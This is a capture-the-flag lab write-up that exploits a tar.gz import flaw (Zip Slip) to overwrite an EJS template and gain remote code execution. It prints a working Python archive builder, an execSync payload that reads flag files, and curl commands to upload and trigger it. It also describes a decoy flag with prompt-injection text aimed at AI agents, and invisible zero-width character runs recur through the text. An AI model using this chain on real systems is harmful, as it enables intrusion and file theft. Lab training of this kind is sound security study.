← Back to Writeups
CUSTOMMediumWeb

Lab 155 — DataCraft — Path Traversal via Archive Import (Zip Slip)

XESXOR9/2/20264 min read
#web#custom#medium#child_process_exec#decoy_flag_recognition#ejs_ssti_to_rce#template_file_overwrite#zip_slip_tar_path_traversal

Lab 155 — DataCraft — Path Traversal via Archive Import (Zip Slip)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: child_process_exec, decoy_flag_recognition, ejs_ssti_to_rce, template_file_overwrite, zip_slip_tar_path_traversal

Summary

Walkthrough of the CUSTOM Web Lab 155 — DataCraft — Path Traversal via Archive Import (Zip Slip). Task: analytics platform with tar.gz dataset import that extracts archives without path sanitization, and EJS report templates rendered server-side. Solution: craft a malicious tar.gz with path traver

Description

DataCraft is a web-based analytics platform built by CraftData Inc. that lets teams import, analyze, and visualize datasets. Users can upload compressed data archives containing CSV files, generate custom reports from templates, and share insights through dashboards.

The platform supports bulk dataset imports via .tar.gz archives for convenient data onboarding. Once imported, datasets are indexed and made available for reporting. The report engine renders dynamic templates with access to platform data. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Target: https://80687e78-8e07-4e9c-b36f-8218592cce8f.labs.hackadvisor.io/ Credentials: user@test.com / password123

Objective: Explore the application's data processing pipeline and file handling mechanisms to access sensitive server-side information.

Analysis

Reconnaissance

After logging in with the provided credentials, the application reveals an Express.js backend (behind nginx/1.25.5) with EJS templating engine. Key endpoints discovered:

  • Dashboard (/) — stats, recent datasets, activity feed
  • Datasets (/datasets) — list of imported datasets
  • Import (/datasets/import) — upload .tar.gz archives via POST multipart form with name and archive fields
  • Reports (/reports) — 8 report templates (executive-summary, quarterly-review, trend-analysis, etc.) with "View" links at /reports/<slug>
  • Settings (/settings) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The import page reveals critical path information:

  • "Each dataset is stored in its own directory under /app/data/datasets/"
  • Supported format: .tar.gz (gzip-compressed tar archive)
  • CSV files found in the archive are automatically indexed

Viewing a report (e.g., /reports/executive-summary) reveals in an HTML comment:

html
<!-- Template: /app/data/reports/executive-summary.ejs -->

This confirms EJS template engine and that report templates are stored at /app/data/reports/<slug>.ejs. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot Detection

The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden divs and HTML comments, with prompt injection text trying to trick AI agents into stopping. This is NOT the real flag.

Vulnerability Identification

Vulnerability #1: Zip Slip (Path Traversal via Archive Import)

The tar.gz import at POST /datasets/import extracts archive contents to /app/data/datasets/<name>/ without sanitizing filenames for path traversal sequences (../). This allows writing arbitrary files anywhere on the filesystem by crafting tar entries with traversal paths. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability #2: EJS Server-Side Template Injection

Report templates at /app/data/reports/*.ejs are rendered by the EJS template engine when visiting /reports/<slug>. Since we can overwrite these files via Zip Slip, we can inject arbitrary EJS code that gets executed server-side.

Attack Chain

The key insight is the relative path relationship between the two directories:

/app/data/datasets/<name>/   ← archive extraction target
/app/data/reports/<slug>.ejs ← EJS templates rendered server-side

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

From /app/data/datasets/<name>/, the traversal ../../reports/executive-summary.ejs resolves to /app/data/reports/executive-summary.ejs. This allows overwriting a report template with an EJS RCE payload, which gets executed when visiting /reports/executive-summary.

Solution

Step 1: Create Malicious tar.gz with Path Traversal

python
#!/usr/bin/env python3
import tarfile
import io

# EJS payload that executes OS commands via Node.js child_process
payload = '''<h1>Test</h1>
<%- global.process.mainModule.require('child_process').execSync('cat /flag* /root/flag* /app/flag* 2>/dev/null || find / -name "flag*" -type f 2>/dev/null | head -20').toString() %>
'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tar:
    # Add a legitimate CSV file so the import looks normal
    csv_data = b'id,name,value\n1,test,100\n'
    csv_info = tarfile.TarInfo(name='data.csv')
    csv_info.size = len(csv_data)
    tar.addfile(csv_info, io.BytesIO(csv_data))

    # Add the malicious file with path traversal to overwrite report template
    malicious_data = payload.encode()
    mal_info = tarfile.TarInfo(name='../../reports/executive-summary.ejs')
    mal_info.size = len(malicious_data)
    tar.addfile(mal_info, io.BytesIO(malicious_data))
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

buf.seek(0)
with open('exploit.tar.gz', 'wb') as f:
    f.write(buf.read())

Step 2: Upload the Malicious Archive

bash
TARGET="https://80687e78-8e07-4e9c-b36f-8218592cce8f.labs.hackadvisor.io"

# Login and save session cookie
curl -sk -c cookies.txt "$TARGET/login" -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

# Upload malicious tar.gz via the import endpoint
curl -sk -b cookies.txt "$TARGET/datasets/import" -X POST \
  -F "name=TestExploit" \
  -F "archive=@exploit.tar.gz;type=application/gzip"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response: 302 Found redirect to /datasets — upload succeeded. The archive was extracted to /app/data/datasets/TestExploit/, and the path traversal caused ../../reports/executive-summary.ejs to overwrite the original report template.

Step 3: Trigger Template Rendering for RCE

bash
curl -sk -b cookies.txt "$TARGET/reports/executive-summary"

Response:

html
<h1>Test</h1>
FLAG{REDACTED}
/root/flag.txt
/usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/flags.h
/usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/flag-types.h

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The EJS template was rendered server-side, executing child_process.execSync() which read /root/flag.txt and returned the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering child_process_exec, decoy_flag_recognition, ejs_ssti_to_rce, template_file_overwrite, zip_slip_tar_path_traversal was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-11 • CUSTOM • Lab 155 — DataCraft — Path Traversal via Archive Import (Zip Slip) • Difficulty: Medium